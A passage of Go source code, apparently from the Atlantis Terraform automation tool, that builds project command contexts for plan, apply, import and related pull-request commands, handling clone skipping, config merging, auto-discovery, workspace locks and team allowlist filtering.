commands.\n\tTerraformExecutor tfclient.Client\n}\n\n// See ProjectCommandBuilder.BuildAutoplanCommands.\nfunc (p *DefaultProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) {\n\tprojCtxs, err := p.buildAllCommandsByCfg(ctx, command.Plan, \"\", nil, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar autoplanEnabled []command.ProjectContext\n\tfor _, projCtx := range projCtxs {\n\t\tif !projCtx.AutoplanEnabled {\n\t\t\tctx.Log.Debug(\"ignoring project at dir '%s', workspace: '%s' because autoplan is disabled\", projCtx.RepoRelDir, projCtx.Workspace)\n\t\t\tcontinue\n\t\t}\n\t\tautoplanEnabled = append(autoplanEnabled, projCtx)\n\t}\n\treturn autoplanEnabled, nil\n}\n\n// See ProjectCommandBuilder.BuildPlanCommands.\nfunc (p *DefaultProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tif !cmd.IsForSpecificProject() {\n\t\tctx.Log.Debug(\"Building plan command for all affected projects\")\n\t\treturn p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose)\n\t}\n\tctx.Log.Debug(\"Building plan command for specific project with directory: '%v', workspace: '%v', project: '%v'\",\n\t\tcmd.RepoRelDir, cmd.Workspace, cmd.ProjectName)\n\treturn p.buildProjectPlanCommand(ctx, cmd)\n}\n\n// See ProjectCommandBuilder.BuildApplyCommands.\nfunc (p *DefaultProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tif !cmd.IsForSpecificProject() {\n\t\treturn p.buildAllProjectCommandsByPlan(ctx, cmd)\n\t}\n\treturn p.buildProjectCommand(ctx, cmd)\n}\n\nfunc (p *DefaultProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tif !cmd.IsForSpecificProject() {\n\t\treturn p.buildAllProjectCommandsByPlan(ctx, cmd)\n\t}\n\treturn p.buildProjectCommand(ctx, cmd)\n}\n\nfunc (p *DefaultProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tif !cmd.IsForSpecificProject() {\n\t\treturn p.buildAllProjectCommandsByPlan(ctx, cmd)\n\t}\n\treturn p.buildProjectCommand(ctx, cmd)\n}\n\nfunc (p *DefaultProjectCommandBuilder) BuildImportCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tif !cmd.IsForSpecificProject() {\n\t\t// import discard a plan file, so use buildAllCommandsByCfg instead buildAllProjectCommandsByPlan.\n\t\treturn p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose)\n\t}\n\treturn p.buildProjectCommand(ctx, cmd)\n}\n\nfunc (p *DefaultProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tif !cmd.IsForSpecificProject() {\n\t\t// state rm discard a plan file, so use buildAllCommandsByCfg instead buildAllProjectCommandsByPlan.\n\t\treturn p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose)\n\t}\n\treturn p.buildProjectCommand(ctx, cmd)\n}\n\n// shouldSkipClone determines whether we should skip cloning for a given context\nfunc (p *DefaultProjectCommandBuilder) shouldSkipClone(ctx *command.Context, modifiedFiles []string) (bool, error) {\n\t// NOTE: We discard this work here and end up doing it again after\n\t// cloning to ensure all the return values are set properly with\n\t// the actual clone directory.\n\n\tif !p.SkipCloneNoChanges || !p.VCSClient.SupportsSingleFileDownload(ctx.Pull.BaseRepo) {\n\t\treturn false, nil\n\t}\n\trepoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID())\n\thasRepoCfg, repoCfgData, err := p.VCSClient.GetFileContent(ctx.Log, ctx.HeadRepo, ctx.Pull.HeadBranch, repoCfgFile)\n\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"downloading %s: %w\", repoCfgFile, err)\n\t}\n\t// We can only skip if we determine that none of the modified files belong to projects configured in a repo config\n\tif !hasRepoCfg {\n\t\treturn false, nil\n\t}\n\trepoCfg, err := p.ParserValidator.ParseRepoCfgData(repoCfgData, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch)\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"parsing %s: %w\", repoCfgFile, err)\n\t}\n\tctx.Log.Info(\"successfully parsed remote %s file\", repoCfgFile)\n\n\t// If auto discover is enabled, we never want to skip cloning\n\tif p.autoDiscoverModeEnabled(ctx, repoCfg) {\n\t\tctx.Log.Info(\"automatic project discovery enabled. Will resume automatic detection\")\n\t\treturn false, nil\n\t}\n\n\tif len(repoCfg.Projects) == 0 {\n\t\tctx.Log.Info(\"no projects are defined in %s. Will resume automatic detection\", repoCfgFile)\n\t\treturn false, nil\n\t}\n\n\tmatchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, \"\", nil)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tctx.Log.Info(\"%d projects are changed on MR %d based on their when_modified config\", len(matchingProjects), ctx.Pull.Num)\n\tif len(matchingProjects) == 0 {\n\t\tctx.Log.Info(\"skipping repo clone since no project was modified\")\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n\n}\n\n// autoDiscoverModeEnabled determines whether to use autodiscover\nfunc (p *DefaultProjectCommandBuilder) autoDiscoverModeEnabled(ctx *command.Context, repoCfg valid.RepoCfg) bool {\n\tdefaultAutoDiscoverMode := valid.AutoDiscoverMode(p.AutoDiscoverMode)\n\tglobalAutoDiscover := p.GlobalCfg.RepoAutoDiscoverCfg(ctx.Pull.BaseRepo.ID())\n\tif globalAutoDiscover != nil {\n\t\tdefaultAutoDiscoverMode = globalAutoDiscover.Mode\n\t}\n\treturn repoCfg.AutoDiscoverEnabled(defaultAutoDiscoverMode)\n}\n\n// isAutoDiscoverPathIgnored determines whether this particular path is ignored for the purposes of auto discovery\nfunc (p *DefaultProjectCommandBuilder) isAutoDiscoverPathIgnored(ctx *command.Context, repoCfg valid.RepoCfg, path string) bool {\n\tfromGlobalAutoDiscover := p.GlobalCfg.RepoAutoDiscoverCfg(ctx.Pull.BaseRepo.ID())\n\tif fromGlobalAutoDiscover != nil {\n\t\treturn fromGlobalAutoDiscover.IsPathIgnored(path)\n\t}\n\tif repoCfg.AutoDiscover != nil {\n\t\treturn repoCfg.AutoDiscover.IsPathIgnored(path)\n\t}\n\n\treturn false\n}\n\n// getMergedProjectCfgs gets all merged project configs for building commands given a context and a clone repo\nfunc (p *DefaultProjectCommandBuilder) getMergedProjectCfgs(ctx *command.Context, repoDir string, modifiedFiles []string, repoCfg valid.RepoCfg) ([]valid.MergedProjectCfg, error) {\n\tmergedCfgs := make([]valid.MergedProjectCfg, 0)\n\n\tmoduleInfo, err := FindModuleProjects(repoDir, p.AutoDetectModuleFiles)\n\tif err != nil {\n\t\tctx.Log.Warn(\"error(s) loading project module dependencies: %s\", err)\n\t}\n\tctx.Log.Debug(\"moduleInfo for '%s' (matching '%s') = %v\", repoDir, p.AutoDetectModuleFiles, moduleInfo)\n\n\tif len(repoCfg.Projects) > 0 {\n\t\tmatchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, repoDir, moduleInfo)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tctx.Log.Info(\"%d projects are to be planned based on their when_modified config\", len(matchingProjects))\n\n\t\tfor _, mp := range matchingProjects {\n\t\t\tctx.Log.Debug(\"determining config for project at dir: '%s' workspace: '%s'\", mp.Dir, mp.Workspace)\n\t\t\tmergedCfg := p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, repoCfg)\n\t\t\tmergedCfgs = append(mergedCfgs, mergedCfg)\n\t\t}\n\t}\n\n\tif p.autoDiscoverModeEnabled(ctx, repoCfg) {\n\t\tctx.Log.Info(\"automatic project discovery enabled. Will run automatic detection\")\n\n\t\t// build a module index for projects that are explicitly included\n\t\tallModifiedProjects := p.ProjectFinder.DetermineProjects(\n\t\t\tctx.Log, modifiedFiles, ctx.Pull.BaseRepo.FullName, repoDir, p.AutoplanFileList, moduleInfo)\n\t\t// If a project is already manually configured with the same dir as a discovered project, the manually configured\n\t\t// project should take precedence\n\t\tmodifiedProjects := make([]models.Project, 0)\n\t\tconfiguredProjDirs := make(map[string]bool)\n\t\t// We compare against all configured projects instead of projects which match the modified files in case a\n\t\t// project is being specifically excluded (ex: when_modified doesn't match). We don't want to accidentally\n\t\t// \"discover\" it again.\n\t\tfor _, configProj := range repoCfg.Projects {\n\t\t\t// Clean the path to make sure ./rel_path is equivalent to rel_path, etc\n\t\t\tconfiguredProjDirs[filepath.Clean(configProj.Dir)] = true\n\t\t}\n\t\tfor _, mp := range allModifiedProjects {\n\t\t\tpath := filepath.Clean(mp.Path)\n\t\t\tif p.isAutoDiscoverPathIgnored(ctx, repoCfg, path) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, dirExists := configuredProjDirs[path]\n\t\t\tif !dirExists {\n\t\t\t\tmodifiedProjects = append(modifiedProjects, mp)\n\t\t\t}\n\t\t}\n\t\tctx.Log.Info(\"automatically determined that there were %d additional projects modified in this pull request: %s\",\n\t\t\tlen(modifiedProjects), modifiedProjects)\n\t\tfor _, mp := range modifiedProjects {\n\t\t\tctx.Log.Debug(\"determining config for project at dir: '%s'\", mp.Path)\n\t\t\tabsProjectDir := filepath.Join(repoDir, mp.Path)\n\t\t\tpWorkspace, err := p.ProjectFinder.DetermineWorkspaceFromHCL(ctx.Log, absProjectDir)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"looking for Terraform Cloud workspace from configuration in '%s': %w\", absProjectDir, err)\n\t\t\t}\n\n\t\t\tpCfg := p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp.Path, pWorkspace)\n\t\t\tmergedCfgs = append(mergedCfgs, pCfg)\n\t\t}\n\t}\n\treturn mergedCfgs, nil\n}\n\n// buildAllCommandsByCfg builds init contexts for all projects we determine were\n// modified in this ctx.\nfunc (p *DefaultProjectCommandBuilder) buildAllCommandsByCfg(ctx *command.Context, cmdName command.Name, subCmdName string, commentFlags []string, verbose bool) ([]command.ProjectContext, error) {\n\t// We'll need the list of modified files.\n\tmodifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tctx.Log.Debug(\"%d files were modified in this pull request. Modified files: %v\", len(modifiedFiles), modifiedFiles)\n\n\t// If we're not including git untracked files, we can skip the clone if there are no modified files.\n\tif !p.IncludeGitUntrackedFiles {\n\t\tshouldSkipClone, err := p.shouldSkipClone(ctx, modifiedFiles)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif shouldSkipClone {\n\t\t\treturn []command.ProjectContext{}, nil\n\t\t}\n\t}\n\n\t// Need to lock the workspace we're about to clone to.\n\tworkspace := DefaultWorkspace\n\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir, \"\", cmdName)\n\tif err != nil {\n\t\tctx.Log.Warn(\"workspace was locked\")\n\t\treturn nil, err\n\t}\n\tctx.Log.Debug(\"got workspace lock\")\n\tdefer unlockFn()\n\n\trepoDir, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif p.IncludeGitUntrackedFiles {\n\t\tctx.Log.Debug((\"'include-git-untracked-files' option is set, getting untracked files\"))\n\t\tuntrackedFiles, err := p.WorkingDir.GetGitUntrackedFiles(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmodifiedFiles = append(modifiedFiles, untrackedFiles...)\n\t}\n\n\t// Parse config file if it exists.\n\trepoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID())\n\thasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir, repoCfgFile)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"looking for '%s' file in '%s': %w\", repoCfgFile, repoDir, err)\n\t}\n\n\tvar projCtxs []command.ProjectContext\n\tvar repoCfg valid.RepoCfg\n\n\tif hasRepoCfg {\n\t\t// If there's a repo cfg with projects then we'll use it to figure out which projects\n\t\t// should be planed.\n\t\trepoCfg, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing %s: %w\", repoCfgFile, err)\n\t\t}\n\t\tctx.Log.Info(\"successfully parsed %s file\", repoCfgFile)\n\t} else {\n\t\tctx.Log.Info(\"repo config file %s is absent, using global defaults\", repoCfgFile)\n\t}\n\n\tmergedProjectCfgs, err := p.getMergedProjectCfgs(ctx, repoDir, modifiedFiles, repoCfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tautomerge := p.EnableAutoMerge\n\tparallelApply := p.EnableParallelApply\n\tparallelPlan := p.EnableParallelPlan\n\tabortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail\n\tif hasRepoCfg {\n\t\tif repoCfg.Automerge != nil {\n\t\t\tautomerge = *repoCfg.Automerge\n\t\t}\n\t\tif repoCfg.ParallelApply != nil {\n\t\t\tparallelApply = *repoCfg.ParallelApply\n\t\t}\n\t\tif repoCfg.ParallelPlan != nil {\n\t\t\tparallelPlan = *repoCfg.ParallelPlan\n\t\t}\n\t\tabortOnExecutionOrderFail = repoCfg.AbortOnExecutionOrderFail\n\t}\n\n\tfor _, mergedProjectCfg := range mergedProjectCfgs {\n\t\tprojCtxs = append(projCtxs,\n\t\t\tp.ProjectCommandContextBuilder.BuildProjectContext(\n\t\t\t\tctx,\n\t\t\t\tcmdName,\n\t\t\t\tsubCmdName,\n\t\t\t\tmergedProjectCfg,\n\t\t\t\tcommentFlags,\n\t\t\t\trepoDir,\n\t\t\t\tautomerge,\n\t\t\t\tparallelApply,\n\t\t\t\tparallelPlan,\n\t\t\t\tverbose,\n\t\t\t\tabortOnExecutionOrderFail,\n\t\t\t\tp.TerraformExecutor,\n\t\t\t)...)\n\t}\n\n\tsort.Slice(projCtxs, func(i, j int) bool {\n\t\treturn projCtxs[i].ExecutionOrderGroup < projCtxs[j].ExecutionOrderGroup\n\t})\n\n\t// Filter projects to only include ones the user is authorized for\n\tprojCtxs = slices.DeleteFunc(projCtxs, func(projCtx command.ProjectContext) bool {\n\t\tif projCtx.TeamAllowlistChecker == nil || !projCtx.TeamAllowlistChecker.HasRules() {\n\t\t\t// allowlist restriction is not enabled\n\t\t\treturn false\n\t\t}\n\t\tctx := models.TeamAllowlistCheckerContext{\n\t\t\tBaseRepo:           projCtx.BaseRepo,\n\t\t\tCommandName:        projCtx.CommandName.String(),\n\t\t\tEscapedCommentArgs: projCtx.EscapedCommentArgs,\n\t\t\tHeadRepo:           projCtx.HeadRepo,\n\t\t\tLog:                projCtx.Log,\n\t\t\tPull:               projCtx.Pull,\n\t\t\tProjectName:        projCtx.ProjectName,\n\t\t\tRepoDir:            repoDir,\n\t\t\tRepoRelDir:         projCtx.RepoRelDir,\n\t\t\tUser:               projCtx.User,\n\t\t\tVerbose:            projCtx.Verbose,\n\t\t\tWorkspace:          projCtx.Workspace,\n\t\t\tAPI:                false,\n\t\t}\n\t\treturn !projCtx.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, projCtx.User.Teams, projCtx.CommandName.String())\n\t})\n\n\treturn projCtxs, nil\n}\n\n// buildProjectPlanCommand builds a plan context for a single project.\n// cmd must be for only one project.\nfunc (p *DefaultProjectCommandBuilder) buildProjectPlanCommand(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tworkspace := DefaultWorkspace\n\tif cmd.Workspace != \"\" {\n\t\tworkspace = cmd.Workspace\n\t}\n\n\tvar pcc []command.ProjectContext\n\n\tctx.Log.Debug(\"building plan command\")\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir, cmd.ProjectName, cmd.Name)\n\tif err != nil {\n\t\treturn pcc, err\n\t}\n\tdefer unlockFn()\n\n\tctx.Log.Debug(\"cloning repository\")\n\t_, err = p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace)\n\tif err != nil {\n\t\treturn pcc, err\n\t}\n\n\t// use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml,\n\t// other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically\n\tdefaultRepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace)\n\tif err != nil {\n\t\treturn pcc, err\n\t}\n\n\tif p.RestrictFileList {\n\t\tctx.Log.Debug(\"'restrict-file-list' option is set, checking modified files\")\n\t\tmodifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif p.IncludeGitUntrackedFiles {\n\t\t\tctx.Log.Debug((\"'include-git-untracked-files' option is set, getting untracked files\"))\n\t\t\tuntrackedFiles, err := p.WorkingDir.GetGitUntrackedFiles(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tmodifiedFiles = append(modifiedFiles, untrackedFiles...)\n\t\t}\n\n\t\tctx.Log.Debug(\"%d files were modified in this pull request. Modified files: %v\", len(modifiedFiles), modifiedFiles)\n\n\t\tif cmd.RepoRelDir != \"\" {\n\t\t\tctx.Log.Debug(\"Command directory specified: %s\", cmd.RepoRelDir)\n\t\t\tfoundDir := false\n\n\t\t\tfor _, f := range modifiedFiles {\n\t\t\t\tif filepath.Dir(f) == cmd.RepoRelDir {\n\t\t\t\t\tfoundDir = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !foundDir {\n\t\t\t\treturn pcc, fmt.Errorf(\"the dir \\\"%s\\\" is not in the plan list of this pull request\", cmd.RepoRelDir)\n\t\t\t}\n\t\t}\n\n\t\tif cmd.ProjectName != \"\" {\n\t\t\tctx.Log.Debug(\"Command project name specified: %s\", cmd.ProjectName)\n\t\t\tvar notFoundFiles = []string{}\n\t\t\tvar repoConfig valid.RepoCfg\n\n\t\t\trepoConfig, err = p.ParserValidator.ParseRepoCfg(defaultRepoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch)\n\t\t\tif err != nil {\n\t\t\t\treturn pcc, err\n\t\t\t}\n\t\t\trepoCfgProjects := repoConfig.FindProjectsByName(cmd.ProjectName)\n\n\t\t\tfor _, f := range modifiedFiles {\n\t\t\t\tfoundDir := false\n\n\t\t\t\tfor _, p := range repoCfgProjects {\n\t\t\t\t\tif filepath.Dir(f) == p.Dir {\n\t\t\t\t\t\tfoundDir = true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif !foundDir {\n\t\t\t\t\tnotFoundFiles = append(notFoundFiles, filepath.Dir(f))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif len(notFoundFiles) > 0 {\n\t\t\t\treturn pcc, fmt.Errorf(\"the following directories are present in the pull request but not in the requested project:\\n%s\", strings.Join(notFoundFiles, \"\\n\"))\n\t\t\t}\n\t\t}\n\t}\n\n\tif DefaultWorkspace != workspace {\n\t\tctx.Log.Debug(\"cloning repository with workspace %s\", workspace)\n\t\t_, err = p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace)\n\t\tif err != nil {\n\t\t\treturn pcc, err\n\t\t}\n\t}\n\n\trepoRelDir := DefaultRepoRelDir\n\tif cmd.RepoRelDir != \"\" {\n\t\trepoRelDir = cmd.RepoRelDir\n\t}\n\n\treturn p.buildProjectCommandCtx(\n\t\tctx,\n\t\tcommand.Plan,\n\t\t\"\",\n\t\tcmd.ProjectName,\n\t\tcmd.Flags,\n\t\tdefaultRepoDir,\n\t\trepoRelDir,\n\t\tworkspace,\n\t\tcmd.Verbose,\n\t)\n}\n\n// getCfg returns the atlantis.yaml config (if it exists) for this project. If\n// there is no config, then projectCfg and repoCfg will be nil.\nfunc (p *DefaultProjectCommandBuilder) getCfg(ctx *command.Context, projectName string, dir string, workspace string, repoDir string) (projectsCfg []valid.Project, repoCfg *valid.RepoCfg, err error) {\n\trepoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID())\n\thasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir, repoCfgFile)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"looking for '%s' file in '%s': %w\", repoCfgFile, repoDir, err)\n\t\treturn\n\t}\n\tif !hasRepoCfg {\n\t\tif projectName != \"\" {\n\t\t\terr = fmt.Errorf(\"cannot specify a project name unless an %s file exists to configure projects\", repoCfgFile)\n\t\t\treturn\n\t\t}\n\t\treturn\n\t}\n\n\tvar repoConfig valid.RepoCfg\n\trepoConfig, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch)\n\tif err != nil {\n\t\treturn\n\t}\n\trepoCfg = &repoConfig\n\n\t// If they've specified a project by name we look it up. Otherwise we\n\t// use the dir and workspace.\n\tif projectName != \"\" {\n\t\tif p.EnableRegExpCmd {\n\t\t\tprojectsCfg = repoCfg.FindProjectsByName(projectName)\n\t\t} else {\n\t\t\tif p := repoCfg.FindProjectByName(projectName); p != nil {\n\t\t\t\tprojectsCfg = append(projectsCfg, *p)\n\t\t\t}\n\t\t}\n\t\tif len(projectsCfg) == 0 {\n\t\t\tif p.SilenceNoProjects && len(repoConfig.Projects) > 0 {\n\t\t\t\tctx.Log.Debug(\"no project with name '%s' found but silencing the error\", projectName)\n\t\t\t} else {\n\t\t\t\terr = fmt.Errorf(\"no project with name '%s' is defined in '%s'\", projectName, repoCfgFile)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\treturn\n\t}\n\n\t// Check if dir contains glob pattern characters for pattern matching\n\tif valid.ContainsDirGlobPattern(dir) {\n\t\t// Use glob pattern matching\n\t\tprojCfgs := repoCfg.FindProjectsByDirPatternWorkspace(dir, workspace)\n\t\tif len(projCfgs) == 0 {\n\t\t\treturn\n\t\t}\n\t\t// For glob patterns, multiple matches are expected and allowed\n\t\tprojectsCfg = projCfgs\n\t\treturn\n\t}\n\n\t// Exact directory matching\n\tprojCfgs := repoCfg.FindProjectsByDirWorkspace(dir, workspace)\n\tif len(projCfgs) == 0 {\n\t\treturn\n\t}\n\tif len(projCfgs) > 1 {\n\t\terr = fmt.Errorf(\"must specify project name: more than one project defined in '%s' matched dir: '%s' workspace: '%s'\", repoCfgFile, dir, workspace)\n\t\treturn\n\t}\n\tprojectsCfg = projCfgs\n\treturn\n}\n\n// buildAllProjectCommandsByPlan builds contexts for a command for every project that has\n// pending plans in this ctx.\nfunc (p *DefaultProjectCommandBuilder) buildAllProjectCommandsByPlan(ctx *command.Context, commentCmd *CommentCommand) ([]command.ProjectContext, error) {\n\tpullDir, err := p.WorkingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplans, err := p.PendingPlanFinder.Find(pullDir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml,\n\t// other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically\n\tdefaultRepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar cmds []command.ProjectContext\n\tfor _, plan := range plans {\n\t\t// Lock all the directories we need to run the command in\n\t\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, plan.Workspace, plan.RepoRelDir, plan.ProjectName, commentCmd.Name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer unlockFn()\n\t\tcommentCmds, err := p.buildProjectCommandCtx(ctx, commentCmd.CommandName(), commentCmd.SubName, plan.ProjectName, commentCmd.Flags, defaultRepoDir, plan.RepoRelDir, plan.Workspace, commentCmd.Verbose)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"building command for dir '%s': %w\", plan.RepoRelDir, err)\n\t\t}\n\t\tcmds = append(cmds, commentCmds...)\n\t}\n\n\tsort.Slice(cmds, func(i, j int) bool {\n\t\treturn cmds[i].ExecutionOrderGroup < cmds[j].ExecutionOrderGroup\n\t})\n\n\treturn cmds, nil\n}\n\n// buildProjectCommand builds an command for the single project\n// identified by cmd except plan.\nfunc (p *DefaultProjectCommandBuilder) buildProjectCommand(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) {\n\tworkspace := DefaultWorkspace\n\tif cmd.Workspace != \"\" {\n\t\tworkspace = cmd.Workspace\n\t}\n\n\tvar projCtx []command.ProjectContext\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir, cmd.ProjectName, cmd.Name)\n\tif err != nil {\n\t\treturn projCtx, err\n\t}\n\tdefer unlockFn()\n\n\t// use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml,\n\t// other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically\n\trepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace)\n\tif errors.Is(err, os.ErrNotExist) {\n\t\treturn projCtx, errors.New(\"no working directory found–did you run plan?\")\n\t} else if err != nil {\n\t\treturn projCtx, err\n\t}\n\n\trepoRelDir := DefaultRepoRelDir\n\tif cmd.RepoRelDir != \"\" {\n\t\trepoRelDir = cmd.RepoRelDir\n\t}\n\n\treturn p.buildProjectCommandCtx(\n\t\tctx,\n\t\tcmd.Name,\n\t\tcmd.SubName,\n\t\tcmd.ProjectName,\n\t\tcmd.Flags,\n\t\trepoDir,\n\t\trepoRelDir,\n\t\tworkspace,\n\t\tcmd.Verbose,\n\t)\n}\n\n// buildProjectCommandCtx builds a context for a single or several projects identified\n// by the parameters.\nfunc (p *DefaultProjectCommandBuilder) buildProjectCommandCtx(ctx *command.Context,\n\tcmd command.Name,\n\tsubCmd string,\n\tprojectName string,\n\tcommentFlags []string,\n\trepoDir string,\n\trepoRelDir string,\n\tworkspace string,\n\tverbose bool) ([]command.ProjectContext, error) {\n\n\tmatchingProjects, repoCfgPtr, err := p.getCfg(ctx, projectName, repoRelDir, workspace, repoDir)\n\tif err != nil {\n\t\treturn []command.ProjectContext{}, err\n\t}\n\tvar projCtxs []command.ProjectContext\n\tvar projCfg valid.MergedProjectCfg\n\tautomerge := p.EnableAutoMerge\n\tparallelApply := p.EnableParallelApply\n\tparallelPlan := p.EnableParallelPlan\n\tabortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail\n\tif repoCfgPtr != nil {\n\t\tif repoCfgPtr.Automerge != nil {\n\t\t\tautomerge = *repoCfgPtr.Automerge\n\t\t}\n\t\tif repoCfgPtr.ParallelApply != nil {\n\t\t\tparallelApply = *repoCfgPtr.ParallelApply\n\t\t}\n\t\tif repoCfgPtr.ParallelPlan != nil {\n\t\t\tparallelPlan = *repoCfgPtr.ParallelPlan\n\t\t}\n\t\tabortOnExecutionOrderFail = repoCfgPtr.AbortOnExecutionOrderFail\n\t}\n\n\tif len(matchingProjects) > 0 {\n\t\t// Override any dir/workspace defined on the comment with what was\n\t\t// defined in config. This shouldn't matter since we don't allow comments\n\t\t// with both project name and dir/workspace.\n\t\trepoRelDir = projCfg.RepoRelDir\n\t\tworkspace = projCfg.Workspace\n\t\tfor _, mp := range matchingProjects {\n\t\t\tctx.Log.Debug(\"Merging config for project at dir: '%s' workspace: '%s'\", mp.Dir, mp.Workspace)\n\t\t\tprojCfg = p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, *repoCfgPtr)\n\n\t\t\tprojCtxs = append(projCtxs,\n\t\t\t\tp.ProjectCommandContextBuilder.BuildProjectContext(\n\t\t\t\t\tctx,\n\t\t\t\t\tcmd,\n\t\t\t\t\tsubCmd,\n\t\t\t\t\tprojCfg,\n\t\t\t\t\tcommentFlags,\n\t\t\t\t\trepoDir,\n\t\t\t\t\tautomerge,\n\t\t\t\t\tparallelApply,\n\t\t\t\t\tparallelPlan,\n\t\t\t\t\tverbose,\n\t\t\t\t\tabortOnExecutionOrderFail,\n\t\t\t\t\tp.TerraformExecutor,\n\t\t\t\t)...)\n\t\t}\n\t} else {\n\t\t// Ignore the project if silenced with projects set in the repo config\n\t\tif p.SilenceNoProjects && repoCfgPtr != nil && len(repoCfgPtr.Projects) > 0 {\n\t\t\tctx.Log.Debug(\"silencing is in effect, project will be ignored\")\n\t\t\treturn []command.ProjectContext{}, nil\n\t\t}\n\n\t\tprojCfg = 